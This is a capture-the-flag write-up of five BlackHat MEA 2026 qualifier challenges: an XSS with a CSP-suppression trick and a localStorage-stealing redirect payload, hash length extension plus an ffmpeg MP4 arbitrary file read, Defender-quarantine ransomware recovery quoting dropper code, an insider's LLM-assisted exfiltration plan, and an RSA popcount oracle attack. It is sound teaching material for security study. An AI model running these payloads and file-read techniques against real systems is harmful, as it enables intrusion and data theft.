BlackHat MEA Qualification CTF 2026 - Five Flags, Five Very Different Bugs

#blackhat#ctf#writeup

tl;dr

  • Lumen (web, 613 solves) - urldecode() runs after htmlspecialchars(), so every special character survives as %XX. The CSP is genuinely airtight, so I never touched it: >1000 query params makes PHP print a startup warning before header() ever runs, and the policy is simply never sent.

  • Huddle (web, 430 solves) - sha256(secret ‖ data) invite tokens fall to hash length extension. Owner unlocks an ffmpeg thumbnailer, which reads arbitrary files through an alis external data reference. The flag comes back through a lossy JPEG, so you have to encode for the channel.

  • Qfact (forensics) - the ransomware dropper is sitting in the Defender quarantine, and Defender's obfuscation is a published RC4 constant. Decrypt it and the AES parameters are right there in the VBScript.

  • Whisper (forensics) - the insider used a local Ollama model to write their exfil tool. They wiped .bash_history and self-deleted the script. They did not wipe ~/.ollama/history, which contains the plan and the passphrase.

  • Popcnt Oracle (crypto) - an RSA decryption oracle that returns only popcount(x^d mod n). Multiplicative malleability plus a popcount identity walks out the binary expansion of m/n, one bit per query.

Five challenges, five completely unrelated primitives. That's the thing I liked about this set - you couldn't brute-force it with one skill.


The event



Event

BlackHat MEA Qualification CTF 2026 - challenges by Flagyard

Format

Jeopardy, dynamic scoring

Window

Sep 5 2026, 10:00 → Sep 6 2026, 15:30

Team size

3–5 members

One line in the rules shaped how I played it:

Please consider that point system will be points earned + time of submission.

Dynamic scoring already pushes value toward the challenges nobody solves, and folding submission time into the total means a fast solve on an easy challenge is worth real points. So the order was: sweep for anything solvable quickly, then sink the remaining hours into the hard ones. That's why the first-blood times are quoted throughout - on this scoreboard they're part of the score, not trivia.


Lumen - the CSP that was never sent

Lumen · WEB

Lumen is a read-only document relay with a content security policy locked down on every page, so the operator is confident that even a stray reflection cannot run. Sign in is not your problem. The operator is, and the operator keeps something valuable in their browser. Find the reflection, get it to run despite the policy, and convince the operator to hand it over.

The blurb tells you the shape of it: "Find the reflection, get it to run despite the policy, and convince the operator to hand it over." Three gates, named in order.

Source is one PHP file, and the reflection is not subtle:

function clean($s) {  if (preg_match('/%3c/i', $s)) return false;      // blocklist "%3c"  return htmlspecialchars($s, ENT_QUOTES);          // encode literals}$dir  = clean($_GET['dir']);$file = clean($_GET['file']);$path = urldecode($dir . $file);                    // decode AFTER encodingecho '... 404 - no document at <b>'.$path.'</b> ...';
function clean($s) {  if (preg_match('/%3c/i', $s)) return false;      // blocklist "%3c"  return htmlspecialchars($s, ENT_QUOTES);          // encode literals}$dir  = clean($_GET['dir']);$file = clean($_GET['file']);$path = urldecode($dir . $file);                    // decode AFTER encodingecho '... 404 - no document at <b>'.$path.'</b> ...';
function clean($s) {  if (preg_match('/%3c/i', $s)) return false;      // blocklist "%3c"  return htmlspecialchars($s, ENT_QUOTES);          // encode literals}$dir  = clean($_GET['dir']);$file = clean($_GET['file']);$path = urldecode($dir . $file);                    // decode AFTER encodingecho '... 404 - no document at <b>'.$path.'</b> ...';

Two bugs stacked on top of each other. htmlspecialchars only touches literal < > & " ' - a percent-encoded %22 sails straight through, and the trailing urldecode turns it back into a quote. So every dangerous character is recoverable except the one on the blocklist.

And the blocklist runs per-field while the values are concatenated afterward. Put %3 at the end of dir and c at the start of file, and the concatenation contains %3c:

curl -s "http://target/?p=view&dir=docs/%253&file=cimg%2520src=x%253e"
curl -s "http://target/?p=view&dir=docs/%253&file=cimg%2520src=x%253e"
curl -s "http://target/?p=view&dir=docs/%253&file=cimg%2520src=x%253e"
404 - no document at <b>docs/<img src=x></b></p>
404 - no document at <b>docs/<img src=x></b></p>
404 - no document at <b>docs/<img src=x></b></p>

That gives you exactly one <. I like this detail a lot - it's not an inconvenience, it's the author telling you which payload shape is intended. One < rules out <script>...</script> (the closing tag needs a second one, and unterminated script text swallows the rest of the document as JS). You're getting a single-tag payload whether you like it or not.

Now the policy:

default-src 'none'; script-src 'nonce-d0f81f93...'; style-src 'nonce-d0f81f93...';img-src 'self'; base-uri 'none';
default-src 'none'; script-src 'nonce-d0f81f93...'; style-src 'nonce-d0f81f93...';img-src 'self'; base-uri 'none';
default-src 'none'; script-src 'nonce-d0f81f93...'; style-src 'nonce-d0f81f93...';img-src 'self'; base-uri 'none';

I spent a while trying to break this before accepting that I couldn't. The nonce is bin2hex(random_bytes(16)), and it's emitted in <head> - before the reflection point in <body>. Dangling markup consumes forward, not backward. There is no strict-dynamic, no unsafe-inline, no 'self' in script-src. It's a correct policy.

So stop attacking the policy and attack the thing that installs it. From the runner:

exec php -d display_errors=1 -d output_buffering=0 -d max_input_vars=1000
exec php -d display_errors=1 -d output_buffering=0 -d max_input_vars=1000
exec php -d display_errors=1 -d output_buffering=0 -d max_input_vars=1000

header() is on line 3 of index.php. Anything that emits output before the script runs means the header never gets sent. Exceeding max_input_vars does exactly that - PHP emits the warning during request startup:

curl -si "http://target/?p=home$(python3 -c "print('&a'*1001)")" | head -3
curl -si "http://target/?p=home$(python3 -c "print('&a'*1001)")" | head -3
curl -si "http://target/?p=home$(python3 -c "print('&a'*1001)")" | head -3
HTTP/1.1 200 OK<br /><b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000.
HTTP/1.1 200 OK<br /><b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000.
HTTP/1.1 200 OK<br /><b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000.

No Content-Security-Policy in the response. The policy is perfect and it is simply not there.

Two practical notes. Use bare &a repeats - they're two bytes each, and verbose names like a0=1&a1=1 push you past nginx's URI limit into a 414. And confirm the header drop on its own before combining it with the injection, so you're never debugging two unknowns at once.

For exfil, remember connect-src falls back to default-src 'none', so fetch is dead even to same-origin. What still works is <img> to self and top-level navigation. The app hands you a same-origin sink at ?p=trace that stores a note and reads it back, so:

location=`/?p=trace&id=<ID>&note=${localStorage.flag}`
location=`/?p=trace&id=<ID>&note=${localStorage.flag}`
location=`/?p=trace&id=<ID>&note=${localStorage.flag}`

Report the URL, wait for the bot, read the trace:

[sim GET] status 200 CSP present: False[report] status 200 queued: True[trace] got: BHFlagY{2ea41d4a039997d6239d00143a3534ad}
[sim GET] status 200 CSP present: False[report] status 200 queued: True[trace] got: BHFlagY{2ea41d4a039997d6239d00143a3534ad}
[sim GET] status 200 CSP present: False[report] status 200 queued: True[trace] got: BHFlagY{2ea41d4a039997d6239d00143a3534ad}


Huddle - a video thumbnailer with a filesystem

Huddle · WEB

Huddle is a small team chat workspace. Members post in channels, invite teammates with a shareable link, and the workspace owner can switch on extra features such as video messages. You arrive as an ordinary member. Work your way into the owner's seat, then turn the workspace's own tooling into a window onto the server.

"Work your way into the owner's seat, then turn the workspace's own tooling into a window onto the server." Again, a two-gate spec written in plain English.

The app is a React SPA; all the surface is in the bundle. Ten endpoints, and two of them are interesting: a signed invite link, and /api/files/thumbnail. Grab an invite:

{"token":"dGVhbT1tYWluJmVtYWlsPXV1bHVzbmxxcUB4LmNvbSZyb2xlPW1lbWJlcg", "sig":"0790c5d82985e974d2b53080e1f70d349b7f257927eec1295959ea85476928cf"}
{"token":"dGVhbT1tYWluJmVtYWlsPXV1bHVzbmxxcUB4LmNvbSZyb2xlPW1lbWJlcg", "sig":"0790c5d82985e974d2b53080e1f70d349b7f257927eec1295959ea85476928cf"}
{"token":"dGVhbT1tYWluJmVtYWlsPXV1bHVzbmxxcUB4LmNvbSZyb2xlPW1lbWJlcg", "sig":"0790c5d82985e974d2b53080e1f70d349b7f257927eec1295959ea85476928cf"}

The token is a plain query string, the tag is 64 hex. Either that's an HMAC or it's the classic sha256(secret ‖ data). If it's the latter I can append &role=owner without the key - but I'd be guessing at two unknowns: whether the parser takes the last duplicate key, and the secret length.

The server answers the first one for free. Send a deliberately broken forgery:

403 {"error":"invalid invite signature",     "parsed":{"team":"main","email":"...","role":"owner"}}
403 {"error":"invalid invite signature",     "parsed":{"team":"main","email":"...","role":"owner"}}
403 {"error":"invalid invite signature",     "parsed":{"team":"main","email":"...","role":"owner"}}

That parsed echo is the whole ballgame - the structure parsed and the last role won. Only the length is unknown, and a length is a for loop:

*** SECRET LENGTH 12 -> 200 {"ok":true,"role":"owner"}
*** SECRET LENGTH 12 -> 200 {"ok":true,"role":"owner"}
*** SECRET LENGTH 12 -> 200 {"ok":true,"role":"owner"}

Owner. Flip on video_messages and the upload/thumbnail surface appears.

Before writing a single payload, fingerprint the tool. Upload a real video, pull the resulting JPEG, and read its encoder tag:

[b'JFIF', b'Lavc59.37.100', ...]
[b'JFIF', b'Lavc59.37.100', ...]
[b'JFIF', b'Lavc59.37.100', ...]

ffmpeg 5.1. This mattered enormously - my local ffmpeg is 9.x and has mitigations 5.1 doesn't. Testing locally would have told me the wrong thing about what was exploitable. Always fingerprint the remote from its own output.

Next, find out what the thumbnailer accepts. One real video per container, submitted:

Container

Result

avi / mkv / webm / ts / flv

422

mp4 / mov / 3gp / m4v

201

Nine requests, and now I know it's ISO-BMFF only - ftyp at offset 4. That single check deletes the entire public ffmpeg AVI/GAB2/HLS/XBIN file-read toolkit, and it's not bypassable by smuggling ftyp into a playlist comment, because hls_probe needs #EXTM3U at offset 0. Mutually exclusive.

I love this kind of closure. It's the author saying: the answer is inside the MP4 container, stop pasting.

MP4 tracks can point their media data at an external file via a dref box. There's a catch that costs you an hour if you miss it: ffmpeg only extracts a path from alis records. A plain url entry is silently ignored and the track falls back to self-contained, which looks like this:

[in#0] Input stream #0:0 (video): 1 packets read (609 bytes)   <- the MP4 itself
[in#0] Input stream #0:0 (video): 1 packets read (609 bytes)   <- the MP4 itself
[in#0] Input stream #0:0 (video): 1 packets read (609 bytes)   <- the MP4 itself

609 bytes is the size of my own file. Not the target.

Build a proper alis record with nlvl_from / nlvl_to (ffmpeg uses them to walk up directories) and let ffmpeg's own debug log tell you when you get the layout wrong:

stream 0, error opening alias: path='/etc/passwd', dir='(null)', nlvl_from=3, nlvl_to=2
stream 0, error opening alias: path='/etc/passwd', dir='(null)', nlvl_from=3, nlvl_to=2
stream 0, error opening alias: path='/etc/passwd', dir='(null)', nlvl_from=3, nlvl_to=2

Two bugs fell out of that one line: the nlvl fields are read from then to, opposite of what I'd assumed, and the path needs an explicit NUL counted inside the record length. Fixed, it reads the external file. Sweep the directory depth against the target:

nlvl_from=4 -> 201  *** LFI CONFIRMED
nlvl_from=4 -> 201  *** LFI CONFIRMED
nlvl_from=4 -> 201  *** LFI CONFIRMED

And then the part that makes this challenge good. The read exits through a lossy JPEG:

b'qlip?w=4<5Csonp;/pnsq9.cgl/b`pf...'
b'qlip?w=4<5Csonp;/pnsq9.cgl/b`pf...'
b'qlip?w=4<5Csonp;/pnsq9.cgl/b`pf...'

That's /etc/passwd. root came back as qlip. The damage is per-channel - RGB→YUV chroma quantization - so voting across reads doesn't save you, because the error is systematic rather than positional.

The fix is to stop sending colour and start sending symbols. Declare depth 8 and ffmpeg treats the track as pal8, where each byte is a palette index. QuickTime's default 256-colour palette has entries far apart in RGB space, so nearest-neighbour recovery survives compression. stco gives read-offset control, which buys per-byte majority voting on top:

reads: 16RAW: b'BHFlagY{cad7d113077240b66e0ccc1c5bf9ec25}\x00\x00...'
reads: 16RAW: b'BHFlagY{cad7d113077240b66e0ccc1c5bf9ec25}\x00\x00...'
reads: 16RAW: b'BHFlagY{cad7d113077240b66e0ccc1c5bf9ec25}\x00\x00...'

Byte-exact, Getting the primitive was not getting the flag, you have to design for the channel!


Qfact - Defender kept the evidence

Qfact · Forensics

A finance employee's workstation was hit by ransomware. All documents were encrypted and a ransom note was left demanding payment in Bitcoin. The employee recalls opening a file they received via email. IT later removed some Defender exclusions during a security audit, and Defender flagged a suspicious file, but it was quarantined, not preserved on disk. A triage package has been collected. Recover the malicious file, figure out how the encryption works, and decrypt the affected files.

Note the phrasing - "quarantined, not preserved on disk." That reads like a setback and is in fact the entire solution: quarantined means Defender still has a copy.

A Windows box got ransomwared. Documents are .enc, there's a ransom note, and - the whole point - Defender quarantined the dropper on its way past.

The note gives you a pivot you'll need later:

Your Unique ID: LOCK-DESKTOP-KLPAT9O-JM-20260628-7F3A
Your Unique ID: LOCK-DESKTOP-KLPAT9O-JM-20260628-7F3A
Your Unique ID: LOCK-DESKTOP-KLPAT9O-JM-20260628-7F3A

Defender obfuscates quarantined files with RC4 under a hardcoded 256-byte key shipped inside mpengine.dll. It's a published constant. There is nothing to crack here; you just have to recognise the container:

python3 mpq_decrypt.py Quarantine/ResourceData/36/367F0894... rd.bin
python3 mpq_decrypt.py Quarantine/ResourceData/36/367F0894... rd.bin
python3 mpq_decrypt.py Quarantine/ResourceData/36/367F0894... rd.bin
decrypted 4769 bytes -> rd.binb'\x03\x00\x00\x00\x02\x00\x00\x00\xac\x00\x00\x00...\x01\x05\x00\x00\x00\x00\x00\x05\x15...'
decrypted 4769 bytes -> rd.binb'\x03\x00\x00\x00\x02\x00\x00\x00\xac\x00\x00\x00...\x01\x05\x00\x00\x00\x00\x00\x05\x15...'
decrypted 4769 bytes -> rd.binb'\x03\x00\x00\x00\x02\x00\x00\x00\xac\x00\x00\x00...\x01\x05\x00\x00\x00\x00\x00\x05\x15...'

Valid ResourceData header (that \x01\x05...\x05\x15 is a Windows SID), so the key is right. The original file sits after the header - scan for printable runs and it's at 0xd4:

0xd4 b'<html>\r\n<head>\r\n<title>Q3 Financial Review - Loading</title>\r\n<script language="VBScript">'
0xd4 b'<html>\r\n<head>\r\n<title>Q3 Financial Review - Loading</title>\r\n<script language="VBScript">'
0xd4 b'<html>\r\n<head>\r\n<title>Q3 Financial Review - Loading</title>\r\n<script language="VBScript">'

An HTA. And it's chatty:

k = Chr(70) & Chr(120) & Chr(55) & Chr(109) & Chr(75)k = k & Chr(57) & Chr(118) & Chr(76) & Chr(50) & Chr(110)k = k & Chr(81) & Chr(52) & Chr(119) & Chr(80) & Chr(122)k = k & Chr(33)
k = Chr(70) & Chr(120) & Chr(55) & Chr(109) & Chr(75)k = k & Chr(57) & Chr(118) & Chr(76) & Chr(50) & Chr(110)k = k & Chr(81) & Chr(52) & Chr(119) & Chr(80) & Chr(122)k = k & Chr(33)
k = Chr(70) & Chr(120) & Chr(55) & Chr(109) & Chr(75)k = k & Chr(57) & Chr(118) & Chr(76) & Chr(50) & Chr(110)k = k & Chr(81) & Chr(52) & Chr(119) & Chr(80) & Chr(122)k = k & Chr(33)

Fx7mK9vL2nQ4wPz!. The PowerShell it builds spells out the rest:

$kb=[Text.Encoding]::UTF8.GetBytes($p.PadRight(32).Substring(0,32));$ivSeed=$env:COMPUTERNAME+$env:USERNAME;$iv=[Security.Cryptography.MD5]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($ivSeed));$a.Key=$kb; $a.IV=$iv; $a.Mode=0; $a.Padding=2;
$kb=[Text.Encoding]::UTF8.GetBytes($p.PadRight(32).Substring(0,32));$ivSeed=$env:COMPUTERNAME+$env:USERNAME;$iv=[Security.Cryptography.MD5]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($ivSeed));$a.Key=$kb; $a.IV=$iv; $a.Mode=0; $a.Padding=2;
$kb=[Text.Encoding]::UTF8.GetBytes($p.PadRight(32).Substring(0,32));$ivSeed=$env:COMPUTERNAME+$env:USERNAME;$iv=[Security.Cryptography.MD5]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($ivSeed));$a.Key=$kb; $a.IV=$iv; $a.Mode=0; $a.Padding=2;

There's a trap in there. $a.Mode=0 is not a valid CipherMode - the enum starts at CBC=1. With $ErrorActionPreference='SilentlyContinue' the assignment fails silently and the mode stays at the .NET default, which is CBC. Read it literally as ECB and you'll spend an hour wondering why your padding is wrong.

The IV needs the exact COMPUTERNAME and USERNAME. The note's unique ID is built from COMPUTERNAME plus the first two characters of the username uppercased, so you have DESKTOP-KLPAT9O and JM - but you need the full username in its original case. The registry hive has it:

grep -riaoE "\bjm[a-z0-9._-]{1,18}\b" Registry | sort | uniq -c | sort -rn
grep -riaoE "\bjm[a-z0-9._-]{1,18}\b" Registry | sort | uniq -c | sort -rn
grep -riaoE "\bjm[a-z0-9._-]{1,18}\b" Registry | sort | uniq -c | sort -rn
   8 Registry/NTUSER.DAT:jmartin
   8 Registry/NTUSER.DAT:jmartin
   8 Registry/NTUSER.DAT:jmartin
seed='DESKTOP-KLPAT9Ojmartin'   pkcs7=True head=b'\xef\xbb\xbfINTERNAL MEMO - FINANCE DEPARTMEN'[+] decrypted 9 files
seed='DESKTOP-KLPAT9Ojmartin'   pkcs7=True head=b'\xef\xbb\xbfINTERNAL MEMO - FINANCE DEPARTMEN'[+] decrypted 9 files
seed='DESKTOP-KLPAT9Ojmartin'   pkcs7=True head=b'\xef\xbb\xbfINTERNAL MEMO - FINANCE DEPARTMEN'[+] decrypted 9 files

Valid PKCS7 on the first candidate. Q3_auth_memo.txt carries a "master authorization code ... encoded below for secure internal transmission", which is the most corporate way imaginable to hide a flag:

QkhGbGFnWXtkM2YzbmQzcl9xdTRyNG50MW4zX3IzYzB2M3J5XzIwMjZ9-> BHFlagY{d3f3nd3r_qu4r4nt1n3_r3c0v3ry_2026}
QkhGbGFnWXtkM2YzbmQzcl9xdTRyNG50MW4zX3IzYzB2M3J5XzIwMjZ9-> BHFlagY{d3f3nd3r_qu4r4nt1n3_r3c0v3ry_2026}
QkhGbGFnWXtkM2YzbmQzcl9xdTRyNG50MW4zX3IzYzB2M3J5XzIwMjZ9-> BHFlagY{d3f3nd3r_qu4r4nt1n3_r3c0v3ry_2026}


Whisper - the LLM remembered everything

Whisper · Forensics

A company's SOC team received a proxy alert after a developer's Linux workstation attempted to upload an encrypted file to an external file-sharing service. The developer claims they were just testing an AI tool for work. A forensic triage package has been collected from the workstation. Investigate the system, determine what AI tool was installed, what it was used for, and recover the data that was attempted to be exfiltrated.

"They were just testing an AI tool for work" is the alibi, and it's also the lead.

A Linux dev workstation, suspected insider data theft. The evidence is a full root filesystem, which is a lot of haystack. So don't read it - look for things that are off-profile for a developer box.

Two jumped out. A data/reports/ directory full of business CSVs, and this:

journal_exports/journalctl_ollama.txt
journal_exports/journalctl_ollama.txt
journal_exports/journalctl_ollama.txt
Started ollama.service - Ollama Service.... msg="Listening on 127.0.0.1:11434 (version 0.30.8)"... | 200 | 1m4s | 127.0.0.1 | POST "/api/pull"
Started ollama.service - Ollama Service.... msg="Listening on 127.0.0.1:11434 (version 0.30.8)"... | 200 | 1m4s | 127.0.0.1 | POST "/api/pull"
Started ollama.service - Ollama Service.... msg="Listening on 127.0.0.1:11434 (version 0.30.8)"... | 200 | 1m4s | 127.0.0.1 | POST "/api/pull"

A local LLM was pulled and served. Which means there's a prompt history.

cat home/dwright/.ollama/history
cat home/dwright/.ollama/history
cat home/dwright/.ollama/history

The first two-thirds is completely ordinary developer chatter - FastAPI middleware, Postgres replication, pytest. Then it turns:

how do I create a password protected zip archive using pyzipperwrite a python script that reads all csv files from a directory and creates an AES encrypted zip archiveuse the password Gr33nF0x42!D1amondalso upload the archive to a remote server using requests and delete the script after successful executionhow do I derive an encryption key from a passphrase using hashlib sha256how to clean the bash history in terminal so there are no traces
how do I create a password protected zip archive using pyzipperwrite a python script that reads all csv files from a directory and creates an AES encrypted zip archiveuse the password Gr33nF0x42!D1amondalso upload the archive to a remote server using requests and delete the script after successful executionhow do I derive an encryption key from a passphrase using hashlib sha256how to clean the bash history in terminal so there are no traces
how do I create a password protected zip archive using pyzipperwrite a python script that reads all csv files from a directory and creates an AES encrypted zip archiveuse the password Gr33nF0x42!D1amondalso upload the archive to a remote server using requests and delete the script after successful executionhow do I derive an encryption key from a passphrase using hashlib sha256how to clean the bash history in terminal so there are no traces

That is the entire operation in the insider's own words, including the passphrase. It also explains why .bash_history is empty - they asked how, and then did it.

The anti-forensics was decent and incomplete. The script deleted itself, but Python doesn't clean up after it:

tmp/__pycache__/tempmod.cpython-312.pyc
tmp/__pycache__/tempmod.cpython-312.pyc
tmp/__pycache__/tempmod.cpython-312.pyc

A bytecode cache with no source next to it. And a hidden virtualenv containing exactly the three libraries the model was asked about:

Cryptodome  pycryptodomex-3.23.0.dist-infopyzipper    pyzipper-0.4.0.dist-inforequests    requests-2.34.2.dist-info
Cryptodome  pycryptodomex-3.23.0.dist-infopyzipper    pyzipper-0.4.0.dist-inforequests    requests-2.34.2.dist-info
Cryptodome  pycryptodomex-3.23.0.dist-infopyzipper    pyzipper-0.4.0.dist-inforequests    requests-2.34.2.dist-info

The archive itself is a dotfile in /tmp wearing a costume:

ls -la tmp/.config_backup_old.tar.gz && file tmp/.config_backup_old.tar.gz
ls -la tmp/.config_backup_old.tar.gz && file tmp/.config_backup_old.tar.gz
ls -la tmp/.config_backup_old.tar.gz && file tmp/.config_backup_old.tar.gz
-rwxr-xr-x  204800 Jun 16 18:30 tmp/.config_backup_old.tar.gztmp/.config_backup_old.tar.gz: data
-rwxr-xr-x  204800 Jun 16 18:30 tmp/.config_backup_old.tar.gztmp/.config_backup_old.tar.gz: data
-rwxr-xr-x  204800 Jun 16 18:30 tmp/.config_backup_old.tar.gztmp/.config_backup_old.tar.gz: data

Exactly 200 KiB, file says data, header is high entropy. Not a gzip, not a tar - the extension is camouflage.

Decrypt it with the recovered passphrase and you get five CSVs. Then do the step that actually makes the case - diff them against what was already sitting on disk in the clear:

SAME  customers_2025.csvSAME  employee_directory.csvSAME  revenue_q3.csvSAME  vendor_contracts.csvinternal_api_keys.csv -> only in the archive (4704 bytes)
SAME  customers_2025.csvSAME  employee_directory.csvSAME  revenue_q3.csvSAME  vendor_contracts.csvinternal_api_keys.csv -> only in the archive (4704 bytes)
SAME  customers_2025.csvSAME  employee_directory.csvSAME  revenue_q3.csvSAME  vendor_contracts.csvinternal_api_keys.csv -> only in the archive (4704 bytes)

Four of five were already staged in plaintext. The fifth exists nowhere else on the filesystem. That's the crown jewel, and it's 39 rows of base64:

master_vault -> BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}
master_vault -> BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}
master_vault -> BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}

The lesson here outlives the CTF. ~/.ollama/history is a new artifact class, and on a box running a local model it may be the most candid thing on disk. People are careful with their shell. They are not careful with their assistant.


Popcnt Oracle - one bit at a time

Popcnt Oracle · Crypto

Poping Shower!

That is the entire description. Four syllables of pun and no hints - which is fair, because the source hands you everything.

The source is short enough to quote in full spirit:

n = p * q                       # 2048-bit RSAm = secrets.randbelow(n)c = pow(m, e, n)print(f"{e = }\n{n = }\n{c = }")while True:    x = int(input("x> "))    if x == m: print(flag); break    print(pow(x, d, n).bit_count())
n = p * q                       # 2048-bit RSAm = secrets.randbelow(n)c = pow(m, e, n)print(f"{e = }\n{n = }\n{c = }")while True:    x = int(input("x> "))    if x == m: print(flag); break    print(pow(x, d, n).bit_count())
n = p * q                       # 2048-bit RSAm = secrets.randbelow(n)c = pow(m, e, n)print(f"{e = }\n{n = }\n{c = }")while True:    x = int(input("x> "))    if x == m: print(flag); break    print(pow(x, d, n).bit_count())

You get n, c, and an unlimited oracle that returns popcount(x^d mod n). Recover m.

It's a raw private-key operation, so it's multiplicatively malleable. Submit x = c · t^e and you get:

x^d = (c^d)(t^{ed}) = m · t  mod n
x^d = (c^d)(t^{ed}) = m · t  mod n
x^d = (c^d)(t^{ed}) = m · t  mod n

So the oracle now speaks about m with a multiplier you control. That reframing is step one of basically every RSA oracle challenge.

Now take t = 2^k. For any y < n, doubling either shifts left (popcount unchanged) or wraps with a subtraction (popcount almost always changes):

popcount(2y mod n) == popcount(y)   <=>   2y < n
popcount(2y mod n) == popcount(y)   <=>   2y < n
popcount(2y mod n) == popcount(y)   <=>   2y < n

Walk t = 2^0, 2^1, 2^2, ... and compare consecutive popcounts, and you are reading off the binary expansion of alpha = m/n. Bit k is 1 exactly when a reduction happened at step k. Recover enough bits and m = round(alpha · n).

Except the test isn't exact. A reduction can coincidentally preserve the popcount - around 1 in 80 for a 2048-bit modulus, so roughly 13 bits go missing across the walk. What saves you is that the error is one-sided: "changed" is always a real 1, only "unchanged" is ambiguous. A contradiction becomes proof rather than noise, which is exactly the property you need for a search.

So run a second chain with multiplier 3. beta = frac(3·alpha) is fully determined by alpha, so any candidate prefix predicts the chain-3 observations, and a candidate predicting 0 where the oracle saw 1 is impossible. Carry a beam of candidates, extend both bits, prune on contradiction.

The first run died at 28 minutes. Three chains at ~0.35 s/query is about 36 minutes of oracle time, and the service drops the connection before that. That's a two-minute calculation I did after the failure instead of before it, which is the most avoidable mistake in this whole writeup. Recount, drop to two chains, raise the beam:

[+] n = 2048 bits[+] chain 1 done in 327s[+] chain 3 done in 322s[+] recovered m, submittingBHFlagY{1f049af5548fca262e86a2a7c024cb15}
[+] n = 2048 bits[+] chain 1 done in 327s[+] chain 3 done in 322s[+] recovered m, submittingBHFlagY{1f049af5548fca262e86a2a7c024cb15}
[+] n = 2048 bits[+] chain 1 done in 327s[+] chain 3 done in 322s[+] recovered m, submittingBHFlagY{1f049af5548fca262e86a2a7c024cb15}

~11 minutes, comfortably inside the connection lifetime.


What actually decided these

Looking back across all five, the same handful of habits kept showing up on the winning side:

Fingerprint the remote from its own output. Lavc59.37.100 in a returned JPEG pinned ffmpeg 5.1. My local install would have lied to me about what was exploitable. Never assume your toolchain matches theirs.

Design discriminating experiments instead of fuzzing. Nine container uploads proved Huddle's ftyp whitelist and deleted an entire branch of the search tree. Compare that to the parameter fuzz I ran earlier in the same challenge against a response whose URL was randomised per call - twenty-five parameters, twenty-five "different" results, zero information. Check that your oracle returns identical output for identical input before you trust it.

Read what the author deliberately closed. Every blocked path is a signpost. The ftyp check in Huddle isn't an obstacle, it's a map: it says the answer is inside the container.

Read failure semantics, not just code. Qfact's $a.Mode=0 is a silent no-op, not ECB.

Budget before you build. Popcnt cost me a 28-minute run because I didn't multiply queries by latency first.

Weight anomalies over volume. Whisper hands you an entire root filesystem. The four artifacts that mattered were all simply things that don't belong on a dev workstation.

Share